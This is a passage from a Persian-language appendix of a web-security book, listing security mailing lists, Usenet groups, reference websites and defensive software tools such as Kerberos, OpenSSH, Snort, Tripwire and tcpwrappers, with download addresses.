ISS در دسامبر ۱۹۹۹ در خصوص ۱۱ فروشنده یک مشکل امنیتی را اعلام کرد، و پس از آن اطلاعات مربوط به آن آسیب‌پذیری را در فوریهٔ ۲۰۰۰ به مطبوعات داد. برای اطلاعات بیشتر به آدرس زیر رجوع کنید:

http://www.cnn.com/2000/TECH/computing/02/04/shop.glitch.idg

Dos and Don’ts of Client Authentication on the Web, USENIX and MIT Technical Report 818, by Kevin Fu, Emil Sit, Kendra Smith, and Nick Feamster

پیوست ۳
منابع الکترونیکی

تهیهٔ یک فهرست جامع از منابع الکترونیکی در یک سند چاپی بسیار مشکل است. منابع الکترونیکی مثل صفحات وب، گروههای خبری و فهرستهای پستی تقریباً هر ساعت تغییر می‌کنند؛ و ویرایشهای جدید برنامه‌های رایانه‌ای نیز ممکن است هر چند هفته یکبار منتشر شوند.

بنابراین ما ناچاریم منابع الکترونیکی ذیل را با توجه به اینکه لزوماً فهرست کامل و به روزرسانی شده‌ای نیستند ارائه دهیم و امیدواریم برای شما مفید واقع شوند. همچنین امیدواریم که با خواندن این مطالب، دیدگاه مناسبی برای پیشرفتهای آتی در زمینهٔ امنیت رایانه‌ای بدست آورید.

فهرستهای پستی

فهرستهای پستی مختلفی وجود دارند که موضوعات متفاوت امنیتی را پوشش می‌دهند و ما در اینجا به مهمترین آنها اشاره می‌کنیم؛ اما نباید گمان کرد که این فهرستها بتنهایی تمام ابعاد امنیت را پوشش می‌دهند. مطمئناً فهرستهای بسیار خوب و گمنام هم وجود دارند که می‌توانند اطلاعات بسیار مفیدتری را در اختیارتان قرار دهند.

هرگز به مطالبی که در این فهرستها می‌خوانید کاملاً اطمینان نکنید؛ خصوصاً اگر آن فهرست مشکوک بنظر بیاید. اشخاص به قول خود متخصصی در شبکه وجود دارند که برای ابراز عقاید درست یا غلط خود لحظه‌ای تأمل نمی‌کنند. اگرچه بکار بستن توصیه‌های این قبیل افراد معمولاً بی‌خطر است؛ اما گاهی هم می‌تواند دردسرساز شود. علاوه بر این گاهی افرادی پیدا می‌شوند که اهداف تبهکارانه دارند، و یا ممکن است بعضاً متخصصان نیز در پیشنهادات نوشتاری که ارسال می‌کنند دچار اشتباه شوند.

خوشبختانه معمولاً در این فهرستها تعدادی متخصص واقعی هستند که مایلند دانش خود را با همگان به‌اشتراک بگذارند و همین کمک آنها باعث پیشرفت دانش عمومی اینترنت می‌گردد. با اینحال به یاد داشته باشید صرف اینکه نکته‌ای در اینترنت وجود دارد به این معنا نیست که یک نکتهٔ مفید و کاربردی برای سیستم و محیط شما است، به این معنا نیست که دقیق و فارغ از هرگونه خطا و اشتباه است، به این معنا نیست که با سیاستهای پایگاه وب شما مطابقت دارد، و از همه مهمتر اینکه نمی‌توان گفت حتماً می‌تواند به ارتقای سطح امنیت شما کمک نماید. همیشه قبل از بکار بستن اطلاعاتی که از فهرستهای پستی دریافت می‌کنید، آنها را به دقت مورد ارزیابی قرار دهید.

مشکل بزرگ فهرست‌های پستی

مشکل تمامی فهرستهای پستی این است که با اتکا به آنها، بسادگی ممکن است کلافه و سردرگم شوید. اگر در فهرست پستیِ دو تیم پاسخگوی مسائل امنیتی، چهار نمایندگی معتبر، و چند گروه تخصصی عضو باشید، هنگام افشای یک آسیب‌پذیری مجبور خواهید بود صدها پیام متفاوت را در روز حذف کنید. در عین حال نمی‌خواهید از عضویت این فهرستها در آیید؛ چراکه ممکن است موردی را از دست دهید که شاید می‌توانست به اصلاح سیستم شما کمک نماید.

رویکردی که برخی سازمانها با اجرای آن موفقیتهایی بدست آورده‌اند، تقسیم‌بندی این فهرستها میان گروهی از راهبران است. در این روش هر راهبر در یک یا دو فهرست پستی عضویت دارد و بر پیامهای همان فهرستها نظارت می‌کند و پیامهای مفید آنها را میان تمام افراد گروه توزیع می‌نماید. در این حالت باید مطمئن باشید اگر یکی از اعضا این فهرست را ترک کند یا به مسافرت برود، شخص دیگری وجود دارد تا کارهای او را پوشش دهد.

رویکرد دیگر توزیع این پیامها در میان گروههای خبری شبکه‌ای است که مخصوص اینکار ایجاد کرده‌اید. این روش شما را قادر می‌سازد که پیامها را با استفاده از یک newsreader پیشرفته بخوانید و با استفاده از آن، مجموعه پیامهایی که در آن کلمهٔ کلیدی مورد نظر و منتخب شما وجود دارد یا وجود ندارد را حذف کنید. این رویکرد همچنین

به شما کمک می‌کند که بتوانید با استفاده از مکانیزم بایگانی، پیامهای مورد نظر خود را برای روزها و هفته‌ها (و یا حتی زمان بیشتری) نگه دارید.

بالاخره اینکه بسیاری از فهرستهای پستی امنیتی، امکان عضویت برای دریافت روزانهٔ خلاصه‌ای از اطلاعات را نیز فراهم آورده‌اند. در اینصورت اعضا معمولاً هر روز یک پیام واحد دریافت می‌کنند که خلاصه‌ای از تمام پیامهای آن روز را در بر دارد. مدیریت این چکیده‌ها بسیار آسانتر از تفکیک پیامهای روزانهٔ مجزا می‌باشد. البته در اینصورت ممکن است هنگامی به نقاط ضعف پی ببرید که سایر راهبران و مهاجمان سیستم از ساعتها قبل از آن به آنها واقف شده‌اند.

فروشندگان و تیمهای واکنش معتبر

بسیاری از تیمهای واکنش به رخدادهای امنیتی برای انتشار پیشنهادات و هشدارهای خود فهرستهای پستی دارند. بسیاری از فروشندگان نیز برای انتشار به‌روزرسانی و ارائه مشاوره در زمینهٔ محصولات خود فهرستهای پستی دارند، مثل فروشندگان رایانه، فروشندگان دیوارهٔ آتش، و فروشندگان نرم‌افزارهای امنیتی (شامل برخی نرم‌افزارهای آزاد و یا نرم‌افزارهای اشتراکی). شما می‌توانید با فروشندهٔ مورد نظر خود تماس بگیرید و پس از اطمینان از وجود چنین فهرستی، به آن ملحق شوید. به عنوان مثال برای عضویت در فهرست پستی خدمات امنیتی مایکروسافت، کافی است به آدرس زیر مراجعه و در آن ثبت نام نمایید:

http://register.microsoft.com/regsys/pic.asp

فهرستهای پستی مهم

در اینجا به چند فهرست پستی مهم اشاره می‌شود.

Bugtraq

یک فهرست پستی بدون سردبیر (ارسال پیام در آن نیازی به تأیید سردبیر ندارد) در زمینهٔ امنیت رایانه است. در این فهرست پستی مباحث مشروح در خصوص رخنه‌های امنیتی سیستم‌عامل Unix ارائه می‌شود: رخنه‌ها چه هستند، چگونه می‌توان از آنها بهره‌برداری کرد، و با چه روشی می‌توان آنها را اصلاح نمود. هدف این فهرست پستی شامل تعریف، تشخیص، و جلوگیری از مورد سوء استفاده قرار گرفتن مشکلات و مخاطرات امنیتی است و نه حمله به سیستمها یا بهره‌برداری از آسیب‌پذیریهای آنها (گرچه هدف بیشتر اعضای آن همین امر است). برای عضویت در این فهرست پستی می‌توانید به پایگاه وب *http://www.securityfocus.com* مراجعه کنید. به این نکته توجه داشته باشید که ما نکات ناصحیح و نادرستی را نیز دیده و شنیده‌ایم که در این فهرست ارسال شده‌اند. افرادی که آماده‌اند اشتباهات پیامهای پست‌شده در این فهرستها را کشف کنند معمولاً علاقهٔ خاصی دارند که هویت واقعی خود را فاش نکنند. اگر نگران این موضوع هستید، با احتیاط بیشتری به این فهرستها پیام ارسال نمایید.

SecurityFocus فهرستهای پستی دیگری نیز دارد که مربوط به سایر ابعاد امنیت (مثل مهاجم‌یابها، کوزه‌های عسل، انواع ویروسها) و یا انواع خاص سیستمهای Unix (مثل Linux یا سیستمهای Sun) می‌شود. یک فهرست پستی جذاب، فهرست پستی "رخدادها" (incidents) است که مخصوص گزارش حملات و نفوذهای واقعی به سیستمها می‌باشد؛ که به شرکت Symantec تعلق دارد.

NTBugtraq

یک فهرست پستی بدون سردبیر در زمینهٔ امنیت رایانه برای سیستمهای مبتنی بر Windows NT (شامل نسخه‌های 2000 و XP). مباحث غیر مرتبط با NT جزء موضوعات این فهرست پستی نمی‌باشند. می‌توان گفت که این فهرست پستی از بعضی جهات به فهرست پستی Bugtraq شبیه است. برای عضویت در این فهرست پستی به پایگاه وب آن در آدرس زیر مراجعه نمایید:

http://www.ntbugtraq.com

CERT Advisory

توصیه‌های جدید مرکز هماهنگیهای CERT (CERT/CC) در مورد اشکالات و وصله‌های امنیتی سیستمهای رایانه‌ای در این فهرست پستی درج می‌شود. مطالعه این فهرست تا حدی خسته‌کننده است؛ چراکه معمولاً راهکارهای آن آنقدر جزئی هستند که نمی‌توان به آسانی هدف آنها را متوجه شد. علیرغم این مسئله، این فهرست هم مزایای خاص خود را دارد. برای عضویت در این فهرست پستی، درخواست عضویت خود را به آدرس پست الکترونیکی *majordomo@cert.org* بفرستید و در متن پیام خود عبارت "subscribe cert-advisory" را قید کنید.

بایگانی توصیه‌هایی که در گذشته ارائه شده‌اند در آدرس زیر وجود دارد:

http://www.cert.org/nav/alerts.html

Computer Underground Digest

یک مجموعهٔ نادر از توصیه‌های ارسالی در خصوص محرمانگی، امنیت، قانون، و اطلاعات زیرزمینی رایانه‌ای. برخلاف نام آن، این فهرست دارای مطالب "زیرزمینی" نیست – بلکه دربرگیرندهٔ اطلاعاتی در مورد محیط پیرامونی رایانه می‌باشد. متأسفانه در سال ۲۰۰۰ فعالیت این فهرست پستی متوقف شد و هنوز معلوم نیست آیا قرار است مجدداً فعالیت آن آغاز شود یا نه. این فهرست پستی در قالب گروه خبری *comp.society.cu-digest* در Usenet وجود داشت؛ و گروه خبری بهترین ابزار برای انتشار آن بود. این فهرست در محلهای متعددی در اینترنت بایگانی شده است، از جمله در آدرس زیر:

http://sun.soci.niu.edu/~cudigest

Firewalls

فهرست پستی "دیواره‌های آتش" (firewalls) که توسط کنسرسیوم نرم‌افزارهای اینترنتی مدیریت و میزبانی می‌شود محل تبادل نظر افرادی است که مایلند در مورد طراحی، تولید، عملکرد، نگهداری و فلسفهٔ سیستمهای امنیتی دیوارهٔ آتش اینترنتی بحث نمایند. برای عضویت در این فهرست پستی به پایگاه وب زیر مراجعه نمایید:

http://www.isc.org/services/public/lists/firewalls.html

پیامهای این فهرست پستی معمولاً بسیار زیاد است (معمولاً در حد دهها پیام در روز که گاهی به بیش از صدها پیام هم می‌رسد). برای راضی نگهداشتن اعضایی که نمی‌خواهند صندوق پست الکترونیکی‌شان مملو از پیامهای مختلف این فهرست پستی باشد، گزینه‌ای برای ارسال یک نسخهٔ خلاصه‌شده از پیامهای هر روز نیز وجود دارد و اصل پیامها در پایگاه وب بایگانی می‌گردد.

Firewall-Wizards

یک فهرست پستی که ارسال پیام در آن نیاز به تأیید سردبیر آن دارد و نه‌تنها به مسائل مربوط به طراحی و پیاده‌سازی دیواره‌های آتش می‌پردازد، بلکه سایر عناوین مهم در امنیت شبکه را نیز دربر می‌گیرد. برای مطالعهٔ بایگانی و یا عضویت در این فهرست پستی می‌توانید به آدرس زیر بروید:

http://honor.icsalabs.com/mailman/listinfo/firewall-wizards

RISKS

این فهرست پستی از لحاظ رسمی بعنوان اتاق گفتگوی مؤسسه ACM درخصوص مخاطرات کاربرد رایانه‌ها و سیستمهای مرتبط برای عموم شناخته می‌شود. ارسال پیام در این فهرست پستی نیاز به تأیید سردبیر آن دارد و در آن مباحثی درخصوص مخاطراتی که رایانه‌ها و رایانه‌ای شدن برای جوامع در پی دارد عنوان می‌گردد. پیامهای این فهرست پستی در گروه خبری *comp.risks* نیز منتشر می‌شود و عضویت در این گروه خبری راه بهتری برای دریافت پیامهای فهرست پستی است. اگر از خدمات Usenet استفاده نمی‌کنید (و نمی‌خواهید پیامها را از پایگاه وب *http://groups.google.com* دریافت و مطالعه نمایید) می‌توانید درخواست عضویت خود را به آدرس پست الکترونیکی *risks-request@csl.sri.com* بفرستید و کلمهٔ "subscribe" را در متن آن قرار دهید.

موضوعاتی که در گذشته در این فهرست پستی مطرح شده‌اند نیز در پایگاه وب google (آدرس فوق) و یا پایگاه وب *http://www.risks.org* موجود می‌باشند.

SANS Security Alert Consensus

این فهرست پستی یک چکیدهٔ هفتگی از اعلان‌ها و هشدارهای فهرستهای پستی و فروشندگان مختلف است. عضویت در این فهرست پستی می‌تواند تنها به مسائل مربوط به یک سیستم‌عامل خاص محدود شود. برای عضویت، می‌توانید به پایگاه وب *http://sans.org* مراجعه کنید.

گروه‌های Usenet

گروه‌های خبری متعددی در اینترنت وجود دارند که می‌توانند منابع خوبی در مورد امنیت شبکه و موضوعات مرتبط باشند. اما در عین حال فهرستهای پستی بدون سردبیر (که در آنها هریک از اعضا مجاز به ارسال پیام است) بیش از گروههای خبری بدون سردبیر دردسر دارند: مجموعه‌ای از موضوعات کم‌اهمیت، تکراری، و بعضاً ناصحیح. این نگرانی از بابت مطالبی که در فهرستهای پستی یافت می‌شود و قبلاً هم به

آن اشاره شد، درخصوص گروه‌های خبری بطور مضاعف صدق می‌کند.

اطلاعیه‌هایی در مورد امنیت رایانه، شامل پیشنهادات جدید مرکز هماهنگیهای CERT (ارسال مطالب تنها با تأیید سردبیر):
comp.security.announce

امنیت UNIX:
comp.security.unix

مطالب متفرقه در ارتباط با امنیت شبکه و رایانه:
comp.security.misc

اطلاعاتی در مورد دیواره‌های آتش:
comp.security.firewalls

اطلاعاتی در خصوص ویروسهای رایانه‌ای و موضوعات مرتبط (ارسال مطالب تنها با تأیید سردبیر):
comp.virus

موضوعات مرتبط با سیاستهای راهبری رایانه، از جمله امنیت:
comp.admin.policy

نکات مهم در TCP/IP، از جمله امنیت آن:
comp.protocols.tcp-ip

موضوعات مرتبط با راهبری سیستمهای Unix، از جمله امنیت:
comp.unix.admin

مباحثی پیرامون رمزنگاری و کاربردهای آن:
sci.cypt

تحقیقاتی پیرامون رمزنگاری (ارسال مطالب تنها با تأیید سردبیر):
sci.crypt.research

اتاق گفتگوی ACM که پیشتر به آن اشاره شد (ارسال مطالب تنها با تأیید سردبیر):
comp.risk

شرکت مایکروسافت دارای دهها گروه خبری در ارتباط با امنیت سیستم‌عاملها و نرم‌افزارهای خود است، که از آن جمله‌اند موارد زیر:

microsoft.public.security,
microsoft.public.win2000.security,
microsoft.public.windowsxp.security_admin

پایگاه‌های وب

هزاران صفحهٔ وب وجود دارند که در هریک از آنها آدرسهایی برای مراجع دیگر نیز پیدا می‌شود. برخی از صفحات بسیار جامع هستند و برخی دیگر مطالب کمتری در بر دارند. آنچه در فهرست زیر مورد اشاره قرار داده‌ایم نقطهٔ شروع مناسبی برای آغاز جستجو است. همچنین با استفاده از این مجموعه می‌توانید زیرشاخه‌های دیگری بیابید (که به یک یا چند تا از این صفحات متصل هستند) و از این طریق برای خود یک فهرست راهنما تهیه نمایید.

CIAC (مشاورین رخداد رایانه‌ای)[۵۰۳]

کارمندان CIAC یک بایگانی خوب و مجهز از ابزارها و مستندات را در پایگاه وب خود قابل دسترسی کرده‌اند. این بایگانی شامل نسخه‌ای از نکات و پیشنهادات آنها و همچنین برخی نرم‌افزارهای محلی می‌باشد:
http://ciac.llnl.gov

CERIAS (مرکز بیمه و ایمنی اطلاعات آموزشی و تحقیقاتی)[۵۰۴]

جانشین موسسهٔ *عملیات، ممیزی و فناوری امنیت رایانه‌ای* (COAST)[۵۰۵] است که یک مرکز تحقیقاتی در زمینهٔ امنیت اطلاعات و آموزش در دانشگاه Purdue می‌باشد. این مرکز ارتباط تنگاتنگی با محققان و مهندسان شرکتهای بزرگ و مؤسسات دولتی دارد. فعالیت فعالیتهای CERIAS بر نیازهای تحقیقاتی و محدودیتهای دنیای واقعی متمرکز است.

از منظر تاریخی، این مرکز دربرگیرندهٔ قدیمی‌ترین بایگانی از ابزارها و مراجع امنیتی مورد استفاده در اینترنت است. این مرکز در سال ۱۹۸۹ به عنوان تنها یک پایگاه FTP بوجود آمد و کار خود را با بایگانی کردن ابزارهای ضدویروس آغاز کرد و بتدریج حیطهٔ خود را به انواع پویشگرها، دیواره‌های آتش و مستندات مختلف گسترش داد. این پایگاه با استفاده

503 Computer Incident Advisory Capability
504 Center for Edueation and Research in Information Assurance and Security
505 Computer Operations,Audit, and Security Technology

از سیستم gopher و سرویس‌دهنده‌های وب و از یک بایگانی شخصی (متعلق به Spafford) آغاز به کار کرد، به بایگانی آزمایشگاه COAST تبدیل شد، و سپس به بایگانی فعلی یعنی CERIAS مبدل گشت. این مرکز در دهۀ اول فعالیت خود بعنوان بزرگترین بایگانی مطالب امنیتی در اینترنت شناخته می‌شد.

طی سالیان اخیر، این بایگانی و برخی فهرستها به نوعی از هم انشعاب یافته‌اند و نسبت به گذشته مطالب کمتری روی آنها منتشر می‌شود (بسیاری از پایگاههای وب تجاری دارای منابعی هستند که با استفاده از آنها و پرداخت کارمزد به یک متصدی، بایگانی جامع‌تری درست کرده‌اند). با این وجود، این بایگانی می‌تواند مجموعه‌ای عظیم از ابزارها و اسناد مفید شامل برخی موضوعاتی که در بایگانی‌های دیگر یافت نمی‌شوند را در اختیارتان قرار دهد؛ بعلاوۀ مستنداتی که توسط CERIAS و یا مؤسسات همکار آن تولید می‌شوند. علاوه بر این موارد، آدرسهای زیادی از پایگاه وب سازمانها و منابع دیگر نیز در آن وجود دارد. آدرس پایگاه وب این مرکز عبارت است از:

http://www.cerias.purdue.edu/infosec/
ftp://ftp.cerias.purdue.edu

FIRST (تیم ایمنی و مرکز واکنش به رخدادها)[۵۰۶]

مؤسسه‌ای که پایگاه وب دبیرخانۀ آن حاوی یک بایگانی وسیع از مطالب، از جمله آدرسهای صفحات وب سایر تیمهای FIRST می‌باشد:

http://www.first.org

NIST CSRC

بخش امنیت رایانه‌ای *مؤسسه ملی فناوری و استاندارد* (NIST)[۵۰۷] بایگانی قابل اعتماد، مفید، و جامعی از اسناد و ابزارها دارد:

http://csrc.nist.gov/index.html

Insecure.org

پایگاه اصلی ابزار پویش پورت nmap، که در آن آدرسهای وب بسیاری از بایگانی‌های فهرستهای پستی مهم و سایر اطلاعات امنیتی نیز وجود دارد:

http://www.insecure.org

NIH (مؤسسات ملی سلامتی)[۵۰۸]

صفحۀ وب اصلی NIH مجموعۀ وسیعی از آدرسهای اینترنتی مربوط به سایر منابع و بایگانی‌های را ارائه می‌کند:

http://www.alw.nih.gov/security/

منابع نرم‌افزاری

در این قسمت به معرفی برخی ابزارها و بسته‌های نرم‌افزاری قابل دسترس در اینترنت می‌پردازیم که می‌توانند برای تأمین امنیت پایگاه‌های وب مفید واقع شوند. گرچه این نرم‌افزارها رایگان هستند، اما بخشی از آنها به طرق مختلف توسط تولیدکنندگانشان محدود شده‌اند (به‌عنوان مثال نمی‌توان از آنها در اهداف تجاری استفاده کرد و یا آنرا در کنار برنامه‌های روی دیسکهای فشردۀ محصولات دیگر قرار داد) و یا بوسیلۀ قوانین و ضوابط دولت ایالات متحده (به‌عنوان مثال اگر حاوی رمزنگاری باشند، محدودیتهایی از نظر صادرات و استفاده در اماکن خاص وجود دارد). مستنداتی که همراه با بسته‌های نرم‌افزاری توزیع می‌شوند را به دقت مورد مطالعه قرار دهید. اگر در مورد نحوۀ استفادۀ صحیح و محدودیتهای آن تردید دارید، می‌توانید مستقیماً با تولیدکنندگان آنها تماس بگیرید.

اگرچه ما بیشتر نرم‌افزارهایی که در این فهرست آمده‌اند را مورد استفاده قرار داده‌ایم، اما نمی‌توانیم مسئولیت عملکرد صحیح نسخه‌ای که شما آنرا دریافت کرده‌اید و اینکه آیا کاربرد آن در سیستم شما مشکلی ایجاد می‌کند یا خیر را بر عهده بگیریم. مشابه هر نرم‌افزار دیگر، ابتدا این ابزارها را بیازمایید و سپس از آنها استفاده نمایید.

برخی از توزیع‌کنندگان نرم‌افزار، دارای یک کلید PGP برای امضای دیجیتالی هستند. این امضا به شما امکان می‌دهد بتوانید تشخیص دهید که آیا نسخۀ نرم‌افزاری که شما دریافت کرده‌اید همان نسخه‌ای است که توسط نویسندۀ آن به بستۀ نرم‌افزاری تبدیل شده یا خیر. با اینحال این امضا ضمانتی در قبال مشروعیت خود نرم‌افزار بوجود نمی‌آورد.

به‌خاطر اطمینان بیشتری که یک امضای دیجیتالی می‌تواند به نرم‌افزارهای توزیع‌شده از طریق اینترنت بیافزاید، ما به تولیدکنندگان نرم‌افزار توصیۀ اکید می‌کنیم که گامهای اضافه

506 Forum of Incident Response and Security Teams
507 National Institute of Standards and Technology

508 National Institutes of Health

برای تولید یک امضای دیجیتالی مستقل برای هر بستهٔ نرم‌افزاری را طی کنند. همچنین به کاربرانی که نرم‌افزارها را از اینترنت دریافت می‌دارند نیز توصیه می‌کنیم که پیش از دریافت نرم‌افزارهای بدون امضا، حتماً چند منبع دیگر را نیز برای یافتن نسخه‌های امضاشده مورد بررسی قرار دهند.

ابزارهای دو منظوره

Kerberos

یک سیستم تصدیق هویت امن تحت شبکه که بر مبنای رمزنگاری کلید خصوصی کار می‌کند. متن برنامه و مقالات این سیستم از طریق مؤسسه فناوری ماساچوست (یا همان دانشگاه MIT) قابل دریافت است. برای این منظور می‌توانید با آدرس زیر مکاتبه نمایید:

MIT Software Center
W32-300
20 Carlton Street
Cambridge, MA 02139
(617) 253-7686

می‌توانید از FTP ناشناس برای انتقال فایل در اینترنت استفاده نمایید:

ftp://athena-dist.mit.edu/pub/kerberos

Kerberos در سیستم‌عامل Windows 2000 و ویرایشهای بعد از آن جاسازی شده است.

Nmap

یک پویشگر پورت که هم نفوذگران برای نفوذ و هم راهبران برای دفاع در برابر نفوذ از آن استفاده می‌کنند و قابلیت انجام پویشهای گوناگون روی پورتهای TCP، UDP و ICMP (از جمله پویشهای مخفیانه که معمولاً نفوذگران از آن برای فعالیتهای خود بهره می‌گیرند)، و قابلیت پیچیدهٔ تشخیص سیستم‌عاملها (شرکت تولیدکننده و ویرایش سیستم‌عامل) از راه دور را دارند.

این برنامه در پایگاه وب زیر قابل دسترسی است:

http://www.insecure.org

OpenSSH

یک نرم‌افزار آزاد برای پیاده‌سازی *پروتکل لایهٔ امن*[۵۰۹] (ویرایشهای ۱ و ۲) بمنظور نمونه‌سازی ایمن پایانه، اجرای فرامین، و انتقال فایل از راه دور (که ایمنی آن با تکیه بر رمزنگاری پدید آمده است). این نرم‌افزار در پروژهٔ OpenBSD طراحی شد، اما نسخهٔ قابل انتقال آن روی غالب سیستم‌عاملهای Unix و بسیاری دیگر از سیستم‌عاملهای مختلف قابل اجرا است. همچنین تحت Windows نرم‌افزارهای آزاد زیادی بعنوان سرویس‌گیرنده‌های SSH بوجود آمده‌اند، مانند ابزار PuTTY. پیش از اینکه به شبکه متصل شوید، سرویس telnet را غیرفعال نمایید و اگر باید از طریق شبکه به سیستم متصل شوید، OpenSSH (یا انواع دیگر سرویس‌دهنده‌های SSH) را نصب و راه‌اندازی نمایید. می‌توانید OpenSSH را از پایگاه وب زیر دریافت کنید:

http://www.openssh.org

OpenSSL

یک نرم‌افزار آزاد برای پیاده‌سازی *لایهٔ سوکت امن*[۵۱۰] (نسخه‌های ۲ و ۳) و امنیت لایهٔ انتقال (نسخهٔ ۱). این نرم‌افزار، کتابخانه‌ای برای این پروتکلها فراهم می‌کند که معمولاً مورد استفادهٔ سرویس‌دهنده‌های دیگر (مثل سرویس‌دهنده‌های وب) قرار می‌گیرد. همچنین یک ابزار خط فرمان برای ایجاد *درخواستهای گواهی‌های رمزی*[۵۱۱]، گواهی‌ها، امضاها و شماره‌های تصادفی، فراهم می‌کند. OpenSSL را می‌توانید در پایگاه وب زیر بیابید:

http://www.openssl.org

Snort

یک نرم‌افزار آزاد قدرتمند برای *دیده‌بانی بسته‌ها*[۵۱۲] و سیستمهای مهاجم‌یاب است. مجموعه ضوابط سیستم مهاجم‌یاب بطور منظم به‌روزرسانی می‌شود و آنرا قادر به تجزیه و تحلیل بلادرنگ بسته‌های TCP/IP که تحت نظارت دارد، و نیز گزارش ترافیک مشکوک می‌نماید. این نرم‌افزار را از پایگاه وب زیر دریافت کنید:

http://www.snort.org

Tripwire

برنامهٔ Tripwire (که توسط Gene H. Kim و Gene Spafford از دانشگاه purdue نوشته شده است)، یکپارچگی و صحت فایلها را بررسی می‌کند و ابزاری است که وضعیت فعلی مجموعهٔ

509 Secure Shell Protocol

510 Secure Socket Layer
511 Cryptographic Certificate Requests
512 Packet Sniffing

مشخصی از فایلها و شاخه‌ها را با اطلاعات مشابه موجود در یک پایگاه داده بررسی می‌نماید و فایلهای اضافه‌شده، فایلهای پاک‌شده، و فایلهایی که محتویات آنها تغییر کرده باشند را گزارش می‌دهد. طی یک برنامهٔ زمانی معین برنامهٔ Tripwire را به اجرا در آورید. در اینصورت برنامه در هر اجرای خود تغییراتی را به راهبر سیستم نشان می‌دهد و این امکان را بوجود می‌آورد که خرابیها بسرعت کشف و اقدامات کنترلی برای مقابله با آنها بسرعت آغاز شوند.

نسخهٔ آزاد Tripwire در پایگاه وب زیر قابل دسترسی است:
http://www.tripwire.com/ddownloads

ابزارهای سیستم‌عامل Unix

Chrootuid

این daemon (نوشتهٔ *ویتز ونما*[۵۱۳]) اجرای خدمات شبکه را با امتیاز دسترسی کم و دسترسی محدودشده به سیستم فایل تسهیل می‌کند. از این برنامه می‌توان برای اجرای سرویس‌دهندهٔ وب و سایر daemonهای شبکه در یک محیط کوچک استفاده کرد: daemonها هرکدام تنها به درخت شاخه‌های خود دسترسی دارند و با یک نام کاربری فاقد امتیاز دسترسی به اجرا در می‌آیند. این ترکیب، عواقب مشکلات امنیتی محتمل در daemon در حال اجرا را به شدت کاهش می‌دهد.

این برنامه از طریق پایگاههای وب زیر قابل دریافت است:
ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysutils/chrootuid/

Portmap

خدمات portmap (نوشتهٔ ویتز ونما) برنامهٔ جایگزینی برای برنامهٔ portmapper شرکت Sun است. این برنامه دارای قابلیتهای کنترل دسترسی و ورود به سیستم می‌باشد که در portmapper شرکت Sun وجود نداشتند. همچنین با در اختیار داشتن متن برنامه، هنگام بروز مشکل قادر خواهید بود که برنامهٔ مورد نظر خود را وارد سیستم کنید و یا در صورت لزوم ویژگیهایی را به آن اضافه نمایید.

این برنامه از طریق پایگاه وب زیر قابل دریافت است:
ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/portmap/

Portsentry

یک برنامهٔ تدافعی در مقابل پویشگرهای پورت که ممکن است پیش از یک حمله آغاز شود. Portsentry روی پورتهای استفاده نشدهٔ TCP/IP به انتظار می‌ایستد و زمانی که افراد بیرونی قصد برقراری ارتباط با یک یا چند پورت تحت نظارت را دارند، وارد عمل می‌شود. این عملیات می‌تواند شامل اضافه کردن نام میزبان پویشگر به مسیر /etc/host.deny، افزودن نام آن میزبان به ضابطهٔ منع یک دیوارهٔ آتش غربال‌کنندهٔ بسته، و یا اجرای سایر دستورات دلخواه باشد. این برنامه در آدرس زیر موجود است:
http://suorceforge.net/projects/sentrytools/

Swatch

برنامهٔ swatch (نوشتهٔ *تاد اتکینز*[۵۱۴]) از دانشگاه Stanford یک نظاره‌گر ساده است. این برنامه فایلهای ثبتی که توسط برنامهٔ syslog بوجود آمده را نظارت می‌کند و باعث می‌شود که راهبر بتواند در پاسخ به وقایع ثبت‌شده و نمونه‌های مختلف رخدادهای امنیتی (مثل فرستادن یک هشدار از طریق پست الکترونیکی، فراخواندن یک شخص، و غیره) عکس‌العمل مناسبی انجام دهد.

این برنامه از طریق پایگاههای وب زیر قابل دریافت است:
http://www.oit.ucsb.edu/~eta/swatch/
ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/swatch/

Tcpwrapper

سیستمی (نوشتهٔ ویتز ونما) که باعث می‌شود بتوانید بر درخواستهایی که از inetd برای سرویس‌دهنده می‌آید نظارت و آنها را غربال کنید. می‌توانید با استفاده از این برنامه می‌توانید بصورت انتخابی از دسترسی میزبانان اینترنتی خاصی به پایگاه خود جلوگیری کنید، و یا در عوض به میزبانان خاصی اجازهٔ دسترسی بدهید.

این برنامه از طریق پایگاههای وب زیر قابل دریافت است:

513 Wietse Venema

514 Todd Atkins

ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/tcp_wrappers/

Tiger

Tiger که نسخهٔ اصلی آن توسط *دوگ شالز*[۵۱۵] از دانشگاه Texas A&M (TAMU) نوشته شده، یک مجموعه از قطعه‌برنامه‌هایی است که یک سیستم Unix را بدنبال مشکلات امنیتی پویش می‌کند. Tiger ابتدا برای فراهم کردن یک کنترل به سیستمهای Unix در محیط دانشگاه A&M ایجاد شد، چون کاربران نیاز داشتند که بتوانند از خارج دانشگاه نیز با سیستم آن ارتباط برقرار کنند. پیش از آنکه دیواره‌های آتش غربال‌کنندهٔ بسته به این منظور تغییر داده شوند، سیستم می‌باید از کنترلهای آزمون Tiger سربلند بیرون می‌آمد. Tiger از سال ۱۹۹۴ تا ۱۹۹۹ تقریباً مورد استفاده قرار نمی‌گرفت، اما هم‌اکنون مجدداً به صورت فعال مورد پشتیبانی قرار دارد و به‌روز می‌شود.

این برنامه از طریق پایگاههای وب زیر قابل دریافت است:
http://www. tigersecurity.org

Trimlog

این برنامه (نوشتهٔ *دیوید کاری*[۵۱۶]) برای کمک به راهبران در مدیریت فایلهای ثبت طراحی شد. این برنامه یک فایل پیکربندی را بررسی می‌کند تا مشخص سازد کدام فایلهای ثبت باید هرس شوند (حجمشان کم شود)، چگونه باید هرس شوند، تا چه اندازه‌ای باید هرس شوند، و غیره. این برنامه به شما کمک می‌کند از اینکه فایلهای ثبت آنقدر بزرگ شوند تا تمام فضای دیسک را اشغال کنند جلوگیری نمایید.

این برنامه از طریق پایگاه وب زیر قابل دریافت است:
ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/trimlog/

Wuarchieve ftpd

